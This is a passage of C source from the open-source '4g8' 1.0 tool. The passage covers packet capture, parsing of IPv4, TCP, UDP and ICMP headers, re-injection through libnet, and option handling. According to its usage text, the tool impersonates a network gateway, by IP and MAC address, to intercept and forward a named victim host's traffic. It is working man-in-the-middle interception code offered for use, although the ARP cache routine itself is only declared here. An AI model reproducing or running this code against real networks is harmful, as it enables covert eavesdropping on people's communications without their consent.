libnet_addr2name4(ntohl(icmphdr->dun.mask), 0)); if(libnet_build_icmpv4_mask( icmphdr->icmp_type, icmphdr->icmp_code, icmphdr->icmp_sum, icmphdr->icmp_id, icmphdr->icmp_seq, ntohl(icmphdr->dun.mask), (payload_len == 0) ? NULL : packet, payload_len, pkt_d, 0) == -1) { fatal_error("Unable to build ICMPv4 mask header: %s", libnet_geterror(pkt_d)); } break; case ICMP_ECHOREPLY: case ICMP_ECHO: if(icmphdr->icmp_code > 0) fprintf(stdout, "Code: %s(%d) ", icmp_c, icmphdr->icmp_code); fprintf(stdout, "ID: %d Seqn: %d", icmphdr->icmp_id, icmphdr->icmp_seq); payload_len = diff - 8; if(libnet_build_icmpv4_echo( icmphdr->icmp_type, icmphdr->icmp_code, icmphdr->icmp_sum, icmphdr->icmp_id, icmphdr->icmp_seq, (payload_len == 0) ? NULL : packet + hdr_len + IPV4_H + 8, payload_len, pkt_d, 0) == -1) { fatal_error("Unable to build ICMPv4 echo header: %s", libnet_geterror(pkt_d)); } break; case ICMP_MASKREQ: case ICMP_TSTAMP: if(icmphdr->icmp_code > 0) fprintf(stdout, "Code: %s(%d) ", icmp_c, icmphdr->icmp_code); fprintf(stdout, "ID: %d Seqn: %d", icmphdr->icmp_id, icmphdr->icmp_seq); if(libnet_build_icmpv4_mask( icmphdr->icmp_type, icmphdr->icmp_code, icmphdr->icmp_sum, icmphdr->icmp_id, icmphdr->icmp_seq, ntohl(icmphdr->dun.mask), (payload_len == 0) ? NULL : packet, payload_len, pkt_d, 0) == -1) { fatal_error("Unable to build ICMPv4 mask header: %s", libnet_geterror(pkt_d)); } break; case ICMP_TRACEROUTE: if(icmphdr->icmp_code > 0) fprintf(stdout, "Code: %s(%d) ", icmp_c, icmphdr->icmp_code); break; } fprintf(stdout, "\n"); return; } 4g8-1.0/src/icmpv4_hdr.h0100644000000000000000000000203710037120765013455 0ustar rootroot/* * author: Darren Bounds * copyright: Copyright (C) 2002 by Darren Bounds * license: This software is under GPL version 2 of license * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * 4g8 official page at http://.net */ #ifndef __ICMPV4_HDR #define __ICMPV4_HDR #include "globals.h" void icmpv4_hdr(u_int8_t *, u_int16_t); #endif /* __ICMPV4_HDR */ 4g8-1.0/src/init.c0100644000000000000000000001027110037120765012353 0ustar rootroot/* * author: Darren Bounds * copyright: Copyright (C) 2002 by Darren Bounds * license: This software is under GPL version 2 of license * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * 4g8 official page at http://.net */ #include "init.h" void capture_loop(u_int8_t *user, struct pcap_pkthdr *pkthdr, u_int8_t *packet) { if(display) process_packets(pkthdr, packet); if(!inject_packet()) fatal_error("Unable to inject packet"); return; } void init() { u_int8_t filter[255+1]; u_int32_t data_link, localnet, netmask; pcap_dumper_t *p_dumper = NULL; struct bpf_program bpf; struct itimerval oval; struct libnet_ether_addr *hw_addr; #ifdef DEBUG fprintf(stdout, "DEBUG: init()\n"); #endif memset(&oval, 0, sizeof(struct itimerval)); memset(&bpf, 0, sizeof(struct bpf_program)); signal(SIGTERM, clean_exit); signal(SIGINT, clean_exit); signal(SIGQUIT, clean_exit); signal(SIGHUP, clean_exit); signal(SIGALRM, arp_cache_alrm); if((pkt_d = libnet_init(0, device, error_buf)) == NULL) fatal_error("Unable to initialize packet injection"); if(device == NULL) if((device = pcap_lookupdev(error_buf)) == NULL) fatal_error("%s: Check device permissions", error_buf); if((pkt = pcap_open_live(device, 1500, 1, 500, error_buf)) == NULL) fatal_error("Unable to open device: %s", error_buf); if(strlen(w_file) > 0) { #ifdef DEBUG fprintf(stdout, "DEBUG: Writing to capture file: %s\n", w_file); #endif if((p_dumper = pcap_dump_open(pkt, w_file)) == NULL) fatal_error("Unable to initialize packet capture: %s", pcap_geterr(pkt)); display--; } if(pcap_lookupnet(device, &localnet, &netmask, error_buf) < 0) fprintf(stderr, "\nWarning: Unable to lookup network: %s\n", error_buf); hw_addr = libnet_get_hwaddr(pkt_d); snprintf(filter, 255, "(ip src host %s and ether dst %0x:%0x:%0x:%0x:%0x:%0x) or (ip dst host %s and ether dst %0x:%0x:%0x:%0x:%0x:%0x)", host_ip, hw_addr->ether_addr_octet[0], hw_addr->ether_addr_octet[1], hw_addr->ether_addr_octet[2], hw_addr->ether_addr_octet[3], hw_addr->ether_addr_octet[4], hw_addr->ether_addr_octet[5], host_ip, hw_addr->ether_addr_octet[0], hw_addr->ether_addr_octet[1], hw_addr->ether_addr_octet[2], hw_addr->ether_addr_octet[3], hw_addr->ether_addr_octet[4], hw_addr->ether_addr_octet[5]); fprintf(stdout, "GW: %s\n", filter); if(pcap_compile(pkt, &bpf, filter, 0, netmask) < 0) fatal_error("Unable to compile packet filters: %s\n", pcap_geterr(pkt)); if(pcap_setfilter(pkt, &bpf) < 0) fatal_error("Unable to set packet filters: %s", pcap_geterr(pkt)); #ifdef HAVE_FREECODE pcap_freecode(&bpf); #endif /* HAVE_FREECODE */ if((data_link = pcap_datalink(pkt)) < 0) fatal_error("Unable to determine datalink type: %s", pcap_geterr(pkt)); hdr_len = retrieve_datalink_hdr_len(data_link); fprintf(stdout, "4g8: Lets see what %s is up to. (Device: %s)\n", host_ip, device); oval.it_interval.tv_sec = 2; oval.it_value.tv_sec = 1; setitimer(ITIMER_REAL, &oval, 0); if(pcap_loop(pkt, 0, (display == 1) ? (pcap_handler)capture_loop : (pcap_handler)pcap_dump, (display == 1) ? NULL : (u_int8_t *)p_dumper) < 0) { fatal_error("Unable to initialize pcap_loop: %s", pcap_geterr(pkt)); } clean_exit(SUCCESS); return; } 4g8-1.0/src/init.h0100644000000000000000000000212610037120765012360 0ustar rootroot/* * author: Darren Bounds * copyright: Copyright (C) 2002 by Darren Bounds * license: This software is under GPL version 2 of license * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * 4g8 official page at http://.net */ #ifndef __INIT_H #define __INIT_H #include "globals.h" #include "process_packets.h" void capture_loop(u_int8_t *, struct pcap_pkthdr *, u_int8_t *); void init(); #endif /* __INIT_H */ 4g8-1.0/src/ipv4_hdr.c0100644000000000000000000000404410037120765013130 0ustar rootroot/* * author: Darren Bounds * copyright: Copyright (C) 2002 by Darren Bounds * license: This software is under GPL version 2 of license * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * 4g8 official page at http://.net */ #include "ipv4_hdr.h" void ipv4_hdr(struct libnet_ipv4_hdr *iphdr, u_int16_t prv_opts) { u_int8_t *s_addr, *d_addr; #ifdef DEBUG fprintf(stdout, "DEBUG: ipv4_hdr()\n"); #endif s_addr = malloc(sizeof(u_int8_t *)); d_addr = malloc(sizeof(u_int8_t *)); s_addr = libnet_addr2name4(iphdr->ip_src.s_addr, 0); d_addr = libnet_addr2name4(iphdr->ip_dst.s_addr, 0); fprintf(stdout, "IP header: Src Address: %s Dst Address: %s\n", s_addr, d_addr); fprintf(stdout, "\t TTL: %d ID: %d TOS: 0x%X Len: %d ", iphdr->ip_ttl, ntohs(iphdr->ip_id), iphdr->ip_tos, ntohs(iphdr->ip_len)); if(ntohs(iphdr->ip_off) & IP_DF) fprintf(stdout, "(DF) "); fprintf(stdout, "\n"); if(libnet_build_ipv4( ntohs(iphdr->ip_len) - prv_opts, iphdr->ip_tos, ntohs(iphdr->ip_id), ntohs(iphdr->ip_off), iphdr->ip_ttl, iphdr->ip_p, 0, iphdr->ip_src.s_addr, iphdr->ip_dst.s_addr, NULL, 0, pkt_d, 0) == -1) { fatal_error("Unable to build IP header: %s", libnet_geterror(pkt_d)); } return; } 4g8-1.0/src/ipv4_hdr.h0100644000000000000000000000205310037120765013133 0ustar rootroot/* * author: Darren Bounds * copyright: Copyright (C) 2002 by Darren Bounds * license: This software is under GPL version 2 of license * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * 4g8 official page at http://.net */ #ifndef __IPV4_HDR_H #define __IPV4_HDR_H #include "globals.h" void ipv4_hdr(struct libnet_ipv4_hdr *, u_int16_t); #endif /* __IPV4_HDR_H */ 4g8-1.0/src/main.c0100644000000000000000000000502410037120766012335 0ustar rootroot/* * author: Darren Bounds * copyright: Copyright (c) 2002 by Darren Bounds * license: This software is under GPL version 2 of license * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * 4g8 official page at http://.net */ #include "main.h" int main(int argc, char *argv[]) { display = 1; dump_pkt = 0; opterr = 0; #ifdef DEBUG fprintf(stdout, "DEBUG: main()\n"); #endif while((opt = getopt(argc, argv, "G:g:hi:S:s:vw:X")) != -1) { switch(opt) { case 'g': if(!(gw_ip = strdup(optarg))) fatal_error("Memory unavailable for: %s", optarg); break; case 'G': if(!(gw_mac = strdup(optarg))) fatal_error("Memory unavailable for: %s", optarg); break; case 'h': print_usage(); exit(FAILURE); break; case 'i': if(!(device = strdup(optarg))) fatal_error("Memory unavailable for: %s", optarg); break; case 's': if(!(host_ip = strdup(optarg))) fatal_error("Memory unavailable for: %s", optarg); break; case 'S': if(!(host_mac = strdup(optarg))) fatal_error("Memory unavailable for: %s", optarg); break; case 'v': print_version(); exit(FAILURE); break; case 'w': strncpy(w_file, optarg, OPT_MAXLEN); break; case 'x': case 'X': dump_pkt = 1; break; } } if(!host_ip || !host_mac || !gw_ip || !gw_mac) print_usage(); init(argv[optind], 0); exit(SUCCESS); } 4g8-1.0/src/main.h0100644000000000000000000000257010037120766012345 0ustar rootroot/* * author: Darren Bounds * copyright: Copyright (C) 2002 by Darren Bounds * license: This software is under GPL version 2 of license * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * 4g8 official page at http://.net */ #ifndef __MAIN_H #define __MAIN_H #include #include #include #include #include #include #include #include #include #include #include "globals.h" #include "init.h" #include "process_packets.h" #define OPT_MAXLEN 32 u_int32_t opt; char *optarg; void parse_capture_options(int, char *[]); void parse_inject_options(int, char *[], u_int16_t); #endif /* __MAIN_H */ 4g8-1.0/src/Makefile.am0100644000000000000000000000315410037120766013303 0ustar rootroot# # author: Darren Bounds # copyright: Copyright (C) 2002 by Darren Bounds # license: This software is under GPL version 2 of license # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. 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you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * 4g8 official page at http://.net */ #ifndef __PRINT_PKTDUMP_HDR_H #define __PRINT_PKTDUMP_HDR_H #include #include "globals.h" void dump_packet(u_int8_t *cp, int len); #endif /* __PRINT_PKTDUMP_HDR_H */ 4g8-1.0/src/process_packets.c0100644000000000000000000000426210037120766014604 0ustar rootroot/* * author: Darren Bounds * copyright: Copyright (C) 2002 by Darren Bounds * license: This software is under GPL version 2 of license * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * 4g8 official page at http://.net */ #include "process_packets.h" u_int16_t inject_packet() { #ifdef DEBUG fprintf(stdout, "DEBUG: inject_packet()\n"); #endif if(libnet_write(pkt_d) == -1) return FAILURE; libnet_clear_packet(pkt_d); return SUCCESS; } void process_packets(struct pcap_pkthdr *pkthdr, u_int8_t *packet) { u_int8_t pl[1500]; u_int16_t n = 0; struct libnet_ipv4_hdr *iphdr; struct libnet_ethernet_hdr *ehdr; #ifdef DEBUG fprintf(stdout, "DEBUG: process_packets()\n"); #endif memset(pl, 0, sizeof(pl)); iphdr = (struct libnet_ipv4_hdr *)(packet + hdr_len); ehdr = (struct libnet_ethernet_hdr *)(packet); fprintf(stdout, "\n----------------------------------------------------------------------------\n"); switch(iphdr->ip_p) { case IPPROTO_TCP: n = tcp_hdr(packet, ntohs(iphdr->ip_len) - (iphdr->ip_hl * 4)); break; case IPPROTO_UDP: udp_hdr(packet, ntohs(iphdr->ip_len) - (iphdr->ip_hl * 4)); break; case IPPROTO_ICMP: icmpv4_hdr(packet, ntohs(iphdr->ip_len) - (iphdr->ip_hl * 4)); break; } ipv4_hdr(iphdr, n); ethernet_hdr(ehdr); if(dump_pkt) dump_packet(packet + hdr_len, pkthdr->caplen - hdr_len); return; } 4g8-1.0/src/process_packets.h0100644000000000000000000000240110037120766014602 0ustar rootroot/* * author: Darren Bounds * copyright: Copyright (C) 2002 by Darren Bounds * license: This software is under GPL version 2 of license * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * 4g8 official page at http://.net */ #ifndef __PROCESS_PACKETS_H #define __PROCESS_PACKETS_H #include "globals.h" #include "ethernet_hdr.h" #include "icmpv4_hdr.h" #include "ipv4_hdr.h" #include "tcp_hdr.h" #include "udp_hdr.h" #include "dump_packet.h" #include "arp_cache.h" void process_packets(struct pcap_pkthdr *, u_int8_t *); u_int16_t inject_packet(); #endif /* __PROCESS_PACKETS_H */ 4g8-1.0/src/stats.c0100644000000000000000000000260110037120766012545 0ustar rootroot/* * author: Darren Bounds * copyright: Copyright (C) 2002 by Darren Bounds * license: This software is under GPL version 2 of license * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * 4g8 official page at http://.net */ #include "stats.h" void injection_stats() { fprintf(stdout, "\n"); return; } void capture_stats() { struct pcap_stat p_stats; #ifdef DEBUG fprintf(stdout, "DEBUG: capture_stats()\n"); #endif memset(&p_stats, 0, sizeof(struct pcap_stat)); pcap_stats(pkt, &p_stats); print_separator(0, 1, "4g8 Capture Statistics"); fprintf(stdout, "Received: %u Dropped: %u", p_stats.ps_recv, p_stats.ps_drop); fprintf(stdout, "\n"); return; } 4g8-1.0/src/stats.h0100644000000000000000000000203410037120766012552 0ustar rootroot/* * author: Darren Bounds * copyright: Copyright (C) 2002 by Darren Bounds * license: This software is under GPL version 2 of license * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * 4g8 official page at http://.net */ #ifndef __STATS_H #define __STATS_H #include "globals.h" void capture_stats(); void injection_stats(); #endif /* __STATS_H */ 4g8-1.0/src/arp_cache.h0100644000000000000000000000215510037120765013324 0ustar rootroot/* * author: Darren Bounds * copyright: Copyright (C) 2002 by Darren Bounds * license: This software is under GPL version 2 of license * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * 4g8 official page at http://.net */ #ifndef __ARP_HDR_H #define __ARP_HDR_H #include "globals.h" #include "process_packets.h" #include "utils.h" libnet_t *arp_cache_mgr(u_int8_t, libnet_t *); void arp_cache_alrm(int); #endif /* __ARP_HDR_H */ 4g8-1.0/src/usage.c0100644000000000000000000000421210037120766012513 0ustar rootroot/* * author: Darren Bounds * copyright: Copyright (C) 2002 by Darren Bounds * license: This software is under GPL version 2 of license * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * 4g8 official page at http://.net */ #include "usage.h" void print_usage() { fprintf(stdout, "Usage: 4g8 -i -g -G -s -S [-w file] [-Xh]\n\n"); fprintf(stdout, "Required:\n"); fprintf(stdout, " -g gw_ip IP address of gateway to impersonate\n"); fprintf(stdout, " -G gw_mac MAC address of gateway to impersonate\n"); fprintf(stdout, " -s host_ip IP address of victim host\n"); fprintf(stdout, " -S host_mac MAC address of victim host\n"); fprintf(stdout, "\n"); fprintf(stdout, "Options:\n"); fprintf(stdout, " -h Display this message\n"); fprintf(stdout, " -i device Device to listen on\n"); fprintf(stdout, " -w file Write captured data to file\n"); fprintf(stdout, " -X Dump the packet in hex and ascii\n"); fprintf(stdout, "\n"); fprintf(stdout, "Version: %s\n", FG_VERSION); fprintf(stdout, "Author: %s\n", FG_AUTHOR); fprintf(stdout, "Website: %s\n", FG_SITE); fprintf(stdout, "\n"); exit(SUCCESS); } void print_version() { fprintf(stdout, "Version: %s\n", FG_VERSION); fprintf(stdout, "Author: %s\n", FG_AUTHOR); fprintf(stdout, "Website: %s\n", FG_SITE); fprintf(stdout, "\n"); exit(SUCCESS); } 4g8-1.0/src/usage.h0100644000000000000000000000207710037120766012527 0ustar rootroot/* * author: Darren Bounds * copyright: Copyright (C) 2002 by Darren Bounds * license: This software is under GPL version 2 of license * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * 4g8 official page at http://.net */ #ifndef __USAGE_H #define __USAGE_H #include "globals.h" #include "usage.h" #include "error.h" void print_usage(); void print_version(); #endif /* __USAGE_H */ 4g8-1.0/src/tcp_hdr.c0100644000000000000000000000577010037120766013044 0ustar rootroot/* * author: Darren Bounds * copyright: Copyright (C) 2002 by Darren Bounds * license: This software is under GPL version 2 of license * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * 4g8 official page at http://.net */ #include "tcp_hdr.h" u_int16_t tcp_hdr(u_int8_t *packet, u_int16_t diff) { u_int8_t flags[7]; struct libnet_tcp_hdr *tcphdr; struct servent *port_src, *port_dst; #ifdef DEBUG fprintf(stdout, "DEBUG: tcp_hdr()\n"); #endif port_src = malloc(sizeof(struct servent)); port_dst = malloc(sizeof(struct servent)); memset(port_src, 0, sizeof(struct servent)); memset(port_dst, 0, sizeof(struct servent)); memset(flags, 0, sizeof(flags)); tcphdr = (struct libnet_tcp_hdr *)(packet + IPV4_H + hdr_len); if(tcphdr->th_flags & TH_URG) strcat(flags, "U"); if(tcphdr->th_flags & TH_ACK) strcat(flags, "A"); if(tcphdr->th_flags & TH_PUSH) strcat(flags, "P"); if(tcphdr->th_flags & TH_RST) strcat(flags, "R"); if(tcphdr->th_flags & TH_SYN) strcat(flags, "S"); if(tcphdr->th_flags & TH_FIN) strcat(flags, "F"); if(strlen(flags) == 0) strcpy(flags, "None"); fprintf(stdout, "TCP header: Src Port: %d Dst Port: %d Flag(s): %s\n", htons(tcphdr->th_sport), htons(tcphdr->th_dport), flags); fprintf(stdout, "\t Window: %d ", htons(tcphdr->th_win)); if(tcphdr->th_seq > 0) fprintf(stdout, "Seqn: %lu ", (u_long)ntohl(tcphdr->th_seq)); if(tcphdr->th_ack > 0) fprintf(stdout, "Ackn: %lu ", (u_long)ntohl(tcphdr->th_ack)); if(tcphdr->th_urp) fprintf(stdout, "Urg: %d ", ntohs(tcphdr->th_urp)); fprintf(stdout, "\n"); payload_len = diff - (tcphdr->th_off * 4); if(libnet_build_tcp( htons(tcphdr->th_sport), htons(tcphdr->th_dport), (u_long)ntohl(tcphdr->th_seq), (u_long)ntohl(tcphdr->th_ack), tcphdr->th_flags, htons(tcphdr->th_win), 0, ntohs(tcphdr->th_urp), TCP_H + payload_len, (payload_len == 0) ? NULL : packet + hdr_len + IPV4_H + (tcphdr->th_off * 4), payload_len, pkt_d, 0) == -1) { fatal_error("Unable to build TCP header: %s", libnet_geterror(pkt_d)); } return (tcphdr->th_off * 4) - TCP_H; } 4g8-1.0/src/tcp_hdr.h0100644000000000000000000000203610037120766013041 0ustar rootroot/* * author: Darren Bounds * copyright: Copyright (C) 2002 by Darren Bounds * license: This software is under GPL version 2 of license * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * 4g8 official page at http://.net */ #ifndef __TCP_HDR_H #define __TCP_HDR_H #include "globals.h" u_int16_t tcp_hdr(u_int8_t *, u_int16_t); #endif /* __TCP_HDR_H */ 4g8-1.0/src/udp_hdr.c0100644000000000000000000000340010037120766013032 0ustar rootroot/* * author: Darren Bounds * copyright: Copyright (C) 2002 by Darren Bounds * license: This software is under GPL version 2 of license * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * 4g8 official page at http://.net */ #include "udp_hdr.h" void udp_hdr(u_int8_t *packet, u_int16_t diff) { struct libnet_udp_hdr *udphdr; #ifdef DEBUG fprintf(stdout, "DEBUG: udp_hdr()\n"); #endif udphdr = (struct libnet_udp_hdr *)(packet + IPV4_H + hdr_len); fprintf(stdout, "UDP header: Src Port: %d Dst Port: %d Len: %d ", htons(udphdr->uh_sport), htons(udphdr->uh_dport), ntohs(udphdr->uh_ulen)); fprintf(stdout, "\n"); payload_len = ntohs(udphdr->uh_ulen) - 8; if(libnet_build_udp( htons(udphdr->uh_sport), htons(udphdr->uh_dport), ntohs(udphdr->uh_ulen), udphdr->uh_sum, (payload_len == 0) ? NULL : packet + hdr_len + IPV4_H + 8, payload_len, pkt_d, 0) == -1) { fatal_error("Unable to build UDP header: %s", libnet_geterror(pkt_d)); } return; } 4g8-1.0/src/udp_hdr.h0100644000000000000000000000200410037120766013036 0ustar rootroot/* * author: Darren Bounds * copyright: Copyright (C) 2002 by Darren Bounds * license: This software is under GPL version 2 of license * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * 4g8 official page at http://.net */ #ifndef __UDP_HDR #define __UDP_HDR #include "globals.h" void udp_hdr(u_int8_t *, u_int16_t); #endif 4g8-1.0/src/utils.c0100644000000000000000000002422210037120766012552 0ustar rootroot/* * author: Darren Bounds * copyright: Copyright (C) 2002 by Darren Bounds * license: This software is under GPL version 2 of license * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * 4g8 official page at http://.net */ #include "utils.h" u_int32_t retrieve_rand_int(u_int32_t r_size) { static u_int32_t r_int; #ifdef DEBUG fprintf(stdout, "DEBUG: retrieve_rand_int()\n"); #endif r_int++; srand(time(0) ^ getpid() * r_int); r_int = rand() % r_size; return r_int; } u_int16_t retrieve_datalink_hdr_len(u_int32_t d_link) { u_int16_t len = 0; #ifdef DEBUG fprintf(stdout, "DEBUG: retrieve_datalink_hdr_len()\n"); #endif switch(d_link) { case DLT_NULL: len = 4; break; case DLT_EN10MB: len = ETH_H; break; default: len = ETH_H; break; } #ifdef DEBUG fprintf(stdout, "DEBUG: hdr_len: %d\n", len); #endif return len; } void print_separator(int bnl, int anl, u_int8_t 